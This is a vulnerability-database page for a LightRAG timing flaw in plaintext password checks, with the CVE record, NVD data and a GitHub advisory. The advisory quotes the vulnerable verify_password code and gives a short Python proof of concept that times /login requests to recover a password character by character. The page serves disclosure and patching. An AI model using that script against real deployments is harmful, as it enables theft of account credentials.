Vulnerability-Lookup

CVE-2026-85725 (GCVE-0-2026-85725)

Vulnerability from cvelistv5 – Published: 2026-09-22 16:16 – Updated: 2026-09-22 16:16

Title

LightRAG: Plaintext Passwords Compared Without Constant-Time Function

Summary

LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, verify_password in lightrag/api/passwords.py compares plaintext AUTH_ACCOUNTS password values with Python's == operator. The comparison can return after the first mismatching byte, creating response-time differences based on password length and matching prefixes. A network attacker with sufficiently low-latency access can repeatedly query the /login endpoint and use the timing oracle to recover a plaintext-configured password character by character. Deployments using bcrypt-prefixed password values are not affected by this comparison path. This issue is fixed in version 1.5.5.

Severity

5.9 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-208 - Observable Timing Discrepancy

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/HKUDS/LightRAG/security/adviso…	x_refsource_CONFIRM
https://github.com/HKUDS/LightRAG/pull/3423	x_refsource_MISC
https://github.com/HKUDS/LightRAG/commit/89849c3e…	x_refsource_MISC
https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
HKUDS	LightRAG	Affected: < 1.5.5	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "LightRAG",
          "vendor": "HKUDS",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.5.5"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, verify_password in lightrag/api/passwords.py compares plaintext AUTH_ACCOUNTS password values with Python\u0027s == operator. The comparison can return after the first mismatching byte, creating response-time differences based on password length and matching prefixes. A network attacker with sufficiently low-latency access can repeatedly query the /login endpoint and use the timing oracle to recover a plaintext-configured password character by character. Deployments using bcrypt-prefixed password values are not affected by this comparison path. This issue is fixed in version 1.5.5."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.9,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-208",
              "description": "CWE-208: Observable Timing Discrepancy",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-22T16:16:36.326Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-c759-cx9p-mrwq",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-c759-cx9p-mrwq"
        },
        {
          "name": "https://github.com/HKUDS/LightRAG/pull/3423",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/HKUDS/LightRAG/pull/3423"
        },
        {
          "name": "https://github.com/HKUDS/LightRAG/commit/89849c3ed0e0380345a6b5bade027cfb9a5bf32c",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/HKUDS/LightRAG/commit/89849c3ed0e0380345a6b5bade027cfb9a5bf32c"
        },
        {
          "name": "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5"
        }
      ],
      "source": {
        "advisory": "GHSA-c759-cx9p-mrwq",
        "discovery": "UNKNOWN"
      },
      "title": "LightRAG: Plaintext Passwords Compared Without Constant-Time Function"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-85725",
    "datePublished": "2026-09-22T16:16:36.326Z",
    "dateReserved": "2026-09-04T14:45:10.648Z",
    "dateUpdated": "2026-09-22T16:16:36.326Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "LightRAG",
                "vendor": "HKUDS",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 1.5.5"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, verify_password in lightrag/api/passwords.py compares plaintext AUTH_ACCOUNTS password values with Python\u0027s == operator. The comparison can return after the first mismatching byte, creating response-time differences based on password length and matching prefixes. A network attacker with sufficiently low-latency access can repeatedly query the /login endpoint and use the timing oracle to recover a plaintext-configured password character by character. Deployments using bcrypt-prefixed password values are not affected by this comparison path. This issue is fixed in version 1.5.5."
          }
        ],
        "id": "CVE-2026-85725",
        "lastModified": "2026-09-22T17:17:27.330",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "HIGH",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 5.9,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "NONE",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.2,
              "impactScore": 3.6,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ]
        },
        "published": "2026-09-22T17:17:27.203",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/HKUDS/LightRAG/commit/89849c3ed0e0380345a6b5bade027cfb9a5bf32c"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/HKUDS/LightRAG/pull/3423"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-c759-cx9p-mrwq"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-208"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Primary"
          }
        ]
      }
    }
  }
}

FKIE_CVE-2026-85725

Vulnerability from fkie_nvd - Published: 2026-09-22 17:17 - Updated: 2026-09-22 17:17

Severity

5.9 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/HKUDS/LightRAG/commit/89849c3ed0e0380345a6b5bade027cfb9a5bf32c
	security-advisories@github.com	https://github.com/HKUDS/LightRAG/pull/3423
	security-advisories@github.com	https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5
	security-advisories@github.com	https://github.com/HKUDS/LightRAG/security/advisories/GHSA-c759-cx9p-mrwq

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "LightRAG",
          "vendor": "HKUDS",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.5.5"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, verify_password in lightrag/api/passwords.py compares plaintext AUTH_ACCOUNTS password values with Python\u0027s == operator. The comparison can return after the first mismatching byte, creating response-time differences based on password length and matching prefixes. A network attacker with sufficiently low-latency access can repeatedly query the /login endpoint and use the timing oracle to recover a plaintext-configured password character by character. Deployments using bcrypt-prefixed password values are not affected by this comparison path. This issue is fixed in version 1.5.5."
    }
  ],
  "id": "CVE-2026-85725",
  "lastModified": "2026-09-22T17:17:27.330",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.9,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-09-22T17:17:27.203",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/HKUDS/LightRAG/commit/89849c3ed0e0380345a6b5bade027cfb9a5bf32c"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/HKUDS/LightRAG/pull/3423"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-c759-cx9p-mrwq"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-208"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-C759-CX9P-MRWQ

Vulnerability from github – Published: 2026-09-22 20:40 – Updated: 2026-09-22 20:40

Summary

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

Details

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "lightrag-hku"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-85725"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:40:19Z",
    "nvd_published_at": "2026-09-22T17:17:27Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nWhen plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python\u0027s == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.\n\n### Details\n\n```python\n# lightrag/api/passwords.py:13-26\ndef verify_password(plain_password: str, stored_password: str) -\u003e bool:\n    if stored_password.startswith(\"{bcrypt}\"):\n        ...\n        return bcrypt.checkpw(...)    # constant-time  OK\n\n    return stored_password == plain_password  # NOT constant-time  VULN\n    #   Python == short-circuits on first mismatched byte\n    #   Timing leaks: password length + individual characters\n```\n\n### PoC\n\n```python\n# Timing oracle: recover password char-by-char\nimport httpx, time, string\n\nTARGET = \"http://\u003cTARGET\u003e:9621/login\"\nUSER   = \"admin\"\n\ndef measure(pwd: str) -\u003e float:\n    t = time.perf_counter()\n    httpx.post(TARGET, data={\"username\": USER, \"password\": pwd})\n    return time.perf_counter() - t\n\nknown = \"\"\nfor _ in range(32):\n    best = max(string.printable,\n               key=lambda c: sum(measure(known+c+\"A\"*20) for _ in range(10)))\n    known += best\n    print(f\"Recovered: {known}\")\n```\n\n### Impact\nObservable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.",
  "id": "GHSA-c759-cx9p-mrwq",
  "modified": "2026-09-22T20:40:20Z",
  "published": "2026-09-22T20:40:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-c759-cx9p-mrwq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85725"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/pull/3423"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/commit/89849c3ed0e0380345a6b5bade027cfb9a5bf32c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HKUDS/LightRAG"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-85725 (GCVE-0-2026-85725)

FKIE_CVE-2026-85725

GHSA-C759-CX9P-MRWQ

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour